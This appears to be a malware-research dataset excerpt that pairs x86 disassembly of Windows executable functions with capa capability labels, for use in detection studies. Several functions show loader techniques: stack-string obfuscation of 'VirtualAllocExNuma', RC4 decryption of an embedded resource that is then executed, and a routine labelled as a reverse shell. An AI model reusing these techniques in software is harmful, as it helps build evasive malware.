joyce8/EMBER2024-capa huggingface dataset:
Function at 0x410cf0
Capabilities:
Set thread local storage value

Disassembly:
push ebp
push edi
mov ebp, eax
push esi
push ebx
mov ebx, edx
sub esp, 0x3c
mov eax, dword [eax + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x28], eax
mov eax, dword [edx]
jmp 0x410d1c
mov dword [0x4b53d8], edx
mov eax, dword [ebx]
mov eax, dword [eax]
mov dword [ebx], eax
test eax, eax
je 0x410de0
mov esi, dword [eax + 0x18]
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], ebp
mov eax, dword [ebp]
mov edx, dword [ebp + 4]
mov dword [esp + 4], 0xa
mov dword [esp], 1
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
mov eax, dword [esp + 0x28]
call eax
test eax, eax
jne 0x410e40
test esi, esi
je 0x410d9b
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], ebp
mov eax, dword [ebp]
mov edx, dword [ebp + 4]
mov dword [esp + 4], 0xa
mov dword [esp], 1
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
call esi
cmp eax, 7
je 0x410e50
cmp eax, 8
jne 0x410e40
mov eax, dword [ebx]
mov edx, dword [eax]
mov eax, dword [0x4a8020]
test eax, eax
js 0x410e20
test eax, eax
je 0x410d10
mov eax, dword [0x4b53d4]
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
jne 0x410d16
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x410d16
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], ebp
mov eax, dword [ebp]
mov edx, dword [ebp + 4]
mov dword [esp + 4], 0x1a
mov dword [esp], 1
mov dword [esp + 8], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0xc], edx
call eax
test eax, eax
jne 0x410e40
add esp, 0x3c
mov eax, 5
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 0x2c], edx
call fcn.00410be0
mov eax, dword [0x4a8020]
mov edx, dword [esp + 0x2c]
jmp 0x410da8
add esp, 0x3c
mov eax, 2
pop ebx
pop esi
pop edi
pop ebp
ret
add esp, 0x3c
mov eax, 7
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x410e60
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov eax, dword [0x4a8020]
mov ebx, dword [esp + 0x30]
test eax, eax
js 0x410ee0
test eax, eax
jne 0x410e90
mov eax, dword [0x4b53d8]
mov dword [0x4b53d8], ebx
mov dword [ebx], eax
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
mov edi, dword [0x4b53d4]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
mov ebp, eax
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov edi, eax
mov dword [esp], ebp
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [0x4b53d4]
sub esp, 4
mov dword [ebx], edi
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
jne 0x410e85
add esp, 0x1c
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
jmp eax
call fcn.00410be0
mov eax, dword [0x4a8020]
jmp 0x410e74
Function at 0x410ef0
Capabilities:
Set thread local storage value

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [esp + 0x20]
mov ebx, dword [eax]
mov eax, dword [0x4a8020]
test eax, eax
js 0x410f35
test eax, eax
jne 0x410f12
mov dword [0x4b53d8], ebx
add esp, 0x18
pop ebx
ret
mov eax, dword [0x4b53d4]
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
jne 0x410f0d
add esp, 0x18
pop ebx
jmp dword [sym.imp.KERNEL32.dll_GetLastError]
call fcn.00410be0
mov eax, dword [0x4a8020]
jmp 0x410f03

Function at 0x411050
Capabilities:
Get thread local storage value

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov eax, dword [0x4a8020]
mov edi, dword [esp + 0x40]
test eax, eax
js 0x41113c
test eax, eax
mov esi, dword [0x4b53d8]
jne 0x4110d1
test esi, esi
mov dword [esp + 0x2c], esi
je 0x4110c5
lea ebx, [esp + 0x2c]
mov eax, esi
nop
mov eax, dword [eax + 0x18]
test eax, eax
je 0x4110b7
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], edi
mov edx, dword [edi]
mov ecx, dword [edi + 4]
mov dword [esp + 4], 1
mov dword [esp], 1
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
call eax
cmp eax, 6
je 0x411100
cmp eax, 8
jne 0x411130
mov eax, dword [esp + 0x2c]
mov eax, dword [eax]
test eax, eax
mov dword [esp + 0x2c], eax
jne 0x411080
mov eax, 5
add esp, 0x30
pop ebx
pop esi
pop edi
ret
mov esi, dword [0x4b53d4]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov esi, eax
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
sub esp, 4
jmp 0x411071
mov eax, dword [esp + 0x2c]
mov dword [edi + 0xc], 0
mov edx, ebx
mov dword [esp + 0x2c], esi
mov dword [edi + 0x10], eax
mov eax, edi
call fcn.00410b00
cmp eax, 7
jne 0x4110ca
mov eax, ebx
call fcn.00410c80
mov esi, esi
lea edi, [edi]
add esp, 0x30
mov eax, 3
pop ebx
pop esi
pop edi
ret
call fcn.00410be0
mov eax, dword [0x4a8020]
jmp 0x411067

Function at 0x4111f0
Capabilities:
Get thread local storage value

Disassembly:
push edi
push esi
push ebx
sub esp, 0x20
mov edx, dword [0x4a8020]
mov ebx, dword [esp + 0x30]
test edx, edx
js 0x411265
test edx, edx
mov eax, dword [0x4b53d8]
jne 0x41123d
mov ecx, dword [ebx + 0xc]
lea esi, [esp + 0x1c]
mov dword [esp + 0x1c], eax
mov eax, ebx
mov edx, esi
test ecx, ecx
jne 0x41122f
call fcn.00410b00
cmp eax, 7
je 0x411236
call sub.msvcrt.dll_abort
call fcn.00410cf0
jmp 0x411225
mov eax, esi
call fcn.00410c80
mov esi, dword [0x4b53d4]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push esi
mov esi, eax
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, esi
push edi
jmp 0x41120d
call fcn.00410be0
mov edx, dword [0x4a8020]
jmp 0x411204
Function at 0x411280
Capabilities:
Get thread local storage value

Disassembly:
push edi
push esi
push ebx
sub esp, 0x20
mov ebx, dword [esp + 0x30]
mov eax, dword [ebx + 0xc]
test eax, eax
je 0x4112c0
mov edx, dword [0x4a8020]
test edx, edx
js 0x411310
test edx, edx
mov eax, dword [0x4b53d8]
jne 0x4112e0
lea edx, [esp + 0x1c]
mov dword [esp + 0x1c], eax
mov eax, ebx
call fcn.00410cf0
cmp eax, 7
je 0x4112d0
call sub.msvcrt.dll_abort
lea esi, [esi]
mov dword [esp], ebx
call fcn.00411050
add esp, 0x20
pop ebx
pop esi
pop edi
ret
lea eax, [esp + 0x1c]
call fcn.00410c80
lea esi, [esi]
mov esi, dword [0x4b53d4]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov esi, eax
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, esi
sub esp, 4
jmp 0x4112a4
call fcn.00410be0
mov edx, dword [0x4a8020]
jmp 0x41129b
Function at 0x405d4d
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10be0
call fcn.00414dc0
mov eax, dword [0x435ec0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x109a4], eax
mov eax, dword [ebp + 0x10]
push edi
mov dword [ebp - 0x109ac], eax
xor edi, edi
xor eax, eax
cmp dword [ebp + 0x14], edi
jbe 0x405e82
push ebx
push esi
mov esi, 0x10999
mov byte [ebp + eax - 0x109a0], al
inc eax
cmp eax, esi
jb 0x405d8b
xor eax, eax
mov dword [ebp - 0x109a8], eax
lea ecx, [ebp + eax - 0x109a0]
xor edx, edx
div dword [ebp + 0xc]
mov eax, dword [ebp - 0x109a4]
mov bl, byte [ecx]
movzx edx, byte [edx + eax]
add edx, edi
movzx eax, bl
add eax, edx
xor edx, edx
mov edi, esi
div edi
mov edi, edx
lea eax, [ebp + edi - 0x109a0]
mov dl, byte [eax]
mov byte [ecx], dl
mov byte [eax], bl
mov eax, dword [ebp - 0x109a8]
inc eax
cmp eax, esi
mov dword [ebp - 0x109a8], eax
jb 0x405d9f
mov ecx, dword [ebp - 0x109ac]
xor eax, eax
mov dword [ebp - 0x109b0], eax
mov dword [ebp - 0x109a4], ecx
jmp 0x405e00
mov eax, dword [ebp - 0x109a8]
dec dword [ebp + 0x14]
inc eax
xor edx, edx
mov ecx, esi
div ecx
push 0
lea edi, [ebp + edx - 0x109a0]
mov bl, byte [edi]
movzx eax, bl
add eax, dword [ebp - 0x109b0]
mov dword [ebp - 0x109a8], edx
xor edx, edx
div ecx
lea eax, [ebp + edx - 0x109a0]
mov cl, byte [eax]
mov byte [edi], cl
lea ecx, [ebp - 0x10be0]
mov dword [ebp - 0x109b0], edx
mov byte [eax], bl
call fcn.00405c8d
movzx eax, byte [edi]
movzx ecx, bl
add eax, ecx
cdq
mov ecx, esi
idiv ecx
mov eax, dword [ebp - 0x109a4]
mov cl, byte [ebp + edx - 0x109a0]
xor byte [eax], cl
inc eax
lea ecx, [ebp - 0x10be0]
mov dword [ebp - 0x109a4], eax
call fcn.00403ac0
cmp dword [ebp + 0x14], 0
jne 0x405dfa
mov eax, dword [ebp - 0x109ac]
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.004143ed
leave
ret
Function at 0x405e8f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x284
mov eax, 0x427304
call fcn.00414465
mov edi, dword [ebp + 8]
push str.CZ5gi3jH
lea ecx, [ebp - 0x50]
call fcn.00405c6b
xor ebx, ebx
push ebx
push ebx
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 4], ebx
mov byte [ebp - 0x34], 0x56
mov byte [ebp - 0x33], 0x69
mov byte [ebp - 0x32], 0x72
mov byte [ebp - 0x31], 0x74
mov byte [ebp - 0x30], 0x75
mov byte [ebp - 0x2f], 0x61
mov byte [ebp - 0x2e], 0x6c
mov byte [ebp - 0x2d], 0x41
mov byte [ebp - 0x2c], 0x6c
mov byte [ebp - 0x2b], 0x6c
mov byte [ebp - 0x2a], 0x6f
mov byte [ebp - 0x29], 0x63
mov byte [ebp - 0x28], 0x45
mov byte [ebp - 0x27], 0x78
mov byte [ebp - 0x26], 0x4e
mov byte [ebp - 0x25], 0x75
mov byte [ebp - 0x24], 0x6d
mov byte [ebp - 0x23], 0x61
mov byte [ebp - 0x22], bl
mov byte [ebp - 0x20], 0x6b
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x6e
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x1a], 0x33
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x64
mov byte [ebp - 0x16], 0x6c
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov esi, eax
lea eax, [ebp - 0x34]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
lea ecx, [ebp - 0x290]
mov dword [ebp - 0x60], eax
call fcn.00405c8d
mov eax, dword [ebp - 0x3c]
lea eax, [eax*8 - 0x5f27204]
push eax
push esi
mov byte [ebp - 4], 1
call fcn.004041f0
push 0x31cb1743
push esi
mov dword [ebp - 0x58], eax
call fcn.004041f0
add esp, 0x10
push 0xa
push 0x2420
push ebx
mov dword [ebp - 0x5c], eax
call dword [ebp - 0x58]
mov esi, eax
cmp esi, ebx
jne 0x405fb4
lea ecx, [ebp - 0x290]
mov byte [ebp - 4], bl
call fcn.00403ac0
push ebx
push 1
lea ecx, [ebp - 0x50]
call fcn.00403e8e
xor al, al
call fcn.004144af
ret
push esi
push ebx
call dword [ebp - 0x5c]
cmp eax, ebx
mov dword [ebp - 0x5c], eax
je 0x405f93
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebx
push 0x42a3a8
mov dword [ebp - 0x58], eax
call fcn.00414dfc
pop ecx
push eax
push 0x3000
push dword [ebp - 0x58]
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [ebp - 0x60]
mov esi, eax
cmp esi, ebx
jne 0x406012
mov byte [ebp - 0x51], bl
lea ecx, [ebp - 0x290]
mov byte [ebp - 4], bl
call fcn.00403ac0
push ebx
push 1
lea ecx, [ebp - 0x50]
call fcn.00403e8e
mov al, byte [ebp - 0x51]
jmp 0x405fae
push dword [ebp - 0x58]
push dword [ebp - 0x5c]
push esi
call fcn.00414e10
push dword [ebp - 0x58]
push esi
push dword [ebp + 0xc]
push edi
call fcn.00405d4d
add esp, 0x1c
call esi
mov byte [ebp - 0x51], 1
jmp 0x405ff4
Function at 0x40a7d6
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x40a80f
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004062b4
push eax
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0040628f
pop esi
ret 4
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
pop esi
jmp dword [eax + 0x8c]

Function at 0x40c42d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x14], edi
mov ebp, ecx
je 0x40c470
call fcn.0040eae0
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40c470
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x40c48b
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
push ebx
mov ecx, ebp
call fcn.0040bfe4
test ebx, ebx
mov esi, eax
je 0x40c489
test edi, edi
je 0x40c489
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x411096
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4110c4
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4110e2
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00411000
jmp 0x4110e2
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4110e2
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.00411000
test edi, edi
mov eax, edi
jne 0x4110cc
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x439070]
test ecx, ecx
je 0x4111a5
jmp 0x411095
ret 8

Function at 0x4143ed
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x435ec0]
jne 0x4143f7
repz ret
jmp fcn.0041987c
Function at 0x421ab1
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.004192c2
xor ebx, ebx
cmp dword [0x439d68], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x421b86
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x421af1
xor eax, eax
jmp 0x421c4a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x42e3e0
push edi
call esi
cmp eax, ebx
je 0x421aea
push eax
call fcn.0041925f
mov dword [esp], 0x42e3d0
push edi
mov dword [0x439d68], eax
call esi
push eax
call fcn.0041925f
mov dword [esp], 0x42e3bc
push edi
mov dword [0x439d6c], eax
call esi
push eax
call fcn.0041925f
mov dword [0x439d70], eax
lea eax, [ebp - 8]
push eax
call fcn.0041776f
test eax, eax
pop ecx
pop ecx
je 0x421b54
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00418142
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x421b86
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0041925f
cmp eax, ebx
pop ecx
mov dword [0x439d78], eax
je 0x421b86
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041925f
pop ecx
mov dword [0x439d74], eax
mov eax, dword [0x439d74]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x421bff
cmp dword [0x439d78], esi
je 0x421bff
push eax
call fcn.004192cb
pop ecx
call eax
cmp eax, ebx
je 0x421bcc
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x439d78]
call fcn.004192cb
pop ecx
call eax
test eax, eax
je 0x421bcc
test byte [ebp - 0x18], 1
jne 0x421bff
lea eax, [ebp - 0xc]
push eax
call fcn.004177a6
test eax, eax
pop ecx
je 0x421be7
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00418142
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x421bf6
or dword [ebp + 0x10], 0x200000
jmp 0x421c30
or dword [ebp + 0x10], 0x40000
jmp 0x421c30
mov eax, dword [0x439d6c]
cmp eax, esi
je 0x421c30
push eax
call fcn.004192cb
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x421c30
mov eax, dword [0x439d70]
cmp eax, esi
je 0x421c30
push dword [ebp - 4]
push eax
call fcn.004192cb
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x439d68]
call fcn.004192cb
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x426512
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x435ec0]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.004264a7
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00415c50
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x426561
cmp dword [ebp - 0x1c], 5
jb 0x426579
jmp 0x426575
cmp dword [ebp - 0x10], 1
jne 0x426579
cmp dword [ebp - 0x1c], 4
ja 0x426575
jne 0x426579
cmp dword [ebp - 0x18], 0
jbe 0x426579
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x42eea0
call fcn.00426398
test eax, eax
jge 0x42659a
mov byte [0x4374e4], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.004143ed
add ebp, 0x78
leave
ret
Function at 0x404130
Capabilities:
Get common file path
Get disk information
Get hostname
Manipulate console buffer
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x14cc
call fcn.00411950
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [0x44d688]
push ebx
push esi
push edi
mov edi, dword [eax + 4]
mov eax, dword [0x44d68c]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 8]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0
mov dword [ebp - 0x18], 0x9e3779b9
mov dword [ebp - 0x1c], edx
call fcn.00404120
mov ecx, dword [0x44d690]
mov edx, dword [0x44d694]
add dword [ebp - 8], 0x23f
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x14], 0x20
jmp 0x4041a0
mov dword [ebp - 0x10], 2
add dword [ebp - 0x10], 3
mov esi, dword [ebp - 0xc]
mov eax, dword [0x454e24]
shl esi, 4
add esi, dword [ebp - 0x24]
cmp eax, 0xfa9
jne 0x4041cc
mov dword [0x454e20], 0xedeb2e40
jmp 0x4041e7
cmp eax, 0x3eb
jne 0x4041e7
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [0x4548b0], 0
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
add ecx, eax
mov eax, dword [ebp - 0xc]
shr eax, 5
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x20]
add dword [ebp - 4], edx
xor esi, ecx
cmp dword [0x454e24], 0x9e6
mov dword [0x454e1c], 0xf4ea3dee
jne 0x404222
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
xor dword [ebp - 4], esi
cmp dword [0x454e24], 0x213
jne 0x4042c2
push 0
lea eax, [ebp - 0x4cc]
push eax
push 0
push 0
push 0
push 0
call ebx
lea ecx, [ebp - 0xccc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x8cc]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push 0
push 0
lea ecx, [ebp - 0x14cc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
lea edx, [ebp - 0x30]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea eax, [ebp - 0xcc]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ecx, [ebp - 0x34]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
sub edi, dword [ebp - 4]
cmp dword [0x454e24], 0xc
jne 0x4042d6
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov edx, dword [ebp - 8]
mov eax, edi
shr eax, 5
lea ecx, [edx + edi]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov edx, edi
shl edx, 4
add edx, dword [ebp - 0x1c]
xor edx, dword [ebp - 4]
xor edx, ecx
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
sub dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
sub dword [ebp - 8], eax
sub dword [ebp - 0x14], 1
jne 0x4041a0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [eax + 4], edi
pop edi
pop esi
mov dword [eax], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404330
Capabilities:
Connect pipe
Create process on windows
Create reverse shell
Read pipe
Set environment variable
Set thread local storage value
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.00411950
mov eax, dword [0x454e24]
mov ecx, dword [0x4548b4]
shr eax, 3
test eax, eax
jbe 0x404452
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
mov edi, edi
cmp dword [0x454e24], 0x959
jne 0x404438
push 0
lea eax, [ebp - 0x408]
push eax
push 0
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call edi
push 0
lea ecx, [ebp - 0xc08]
push ecx
call ebx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
lea edx, [ebp - 0x808]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push 0
lea eax, [ebp - 0x1008]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [ebp - 4]
push ecx
call fcn.00404130
add dword [ebp - 4], 8
sub dword [ebp - 8], 1
jne 0x404370
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a8ff
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44c470]
jne 0x40a909
repz ret
jmp fcn.004107a3

Function at 0x40be4c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00407712
and dword [ebp - 4], 0
cmp dword [0x45289c], 0
mov ebx, eax
jne 0x40befd
push 0x4034e4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40bfae
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4034d8
push edi
call esi
test eax, eax
je 0x40bfae
push eax
call fcn.004076a0
mov dword [esp], 0x4034c8
push edi
mov dword [0x45289c], eax
call esi
push eax
call fcn.004076a0
mov dword [esp], 0x4034b4
push edi
mov dword [0x4528a0], eax
call esi
push eax
call fcn.004076a0
mov dword [esp], 0x403498
push edi
mov dword [0x4528a4], eax
call esi
push eax
call fcn.004076a0
pop ecx
mov dword [0x4528ac], eax
test eax, eax
je 0x40befd
push 0x403480
push edi
call esi
push eax
call fcn.004076a0
pop ecx
mov dword [0x4528a8], eax
mov eax, dword [0x4528a8]
cmp eax, ebx
je 0x40bf55
cmp dword [0x4528ac], ebx
je 0x40bf55
push eax
call fcn.0040771b
push dword [0x4528ac]
mov esi, eax
call fcn.0040771b
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40bf55
test edi, edi
je 0x40bf55
call esi
test eax, eax
je 0x40bf4c
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40bf4c
test byte [ebp - 0xc], 1
jne 0x40bf55
or dword [ebp + 0x10], 0x200000
jmp 0x40bf8e
mov eax, dword [0x4528a0]
cmp eax, ebx
je 0x40bf8e
push eax
call fcn.0040771b
pop ecx
test eax, eax
je 0x40bf8e
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40bf8e
mov eax, dword [0x4528a4]
cmp eax, ebx
je 0x40bf8e
push eax
call fcn.0040771b
pop ecx
test eax, eax
je 0x40bf8e
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x45289c]
call fcn.0040771b
pop ecx
test eax, eax
je 0x40bfae
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40bfb0
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret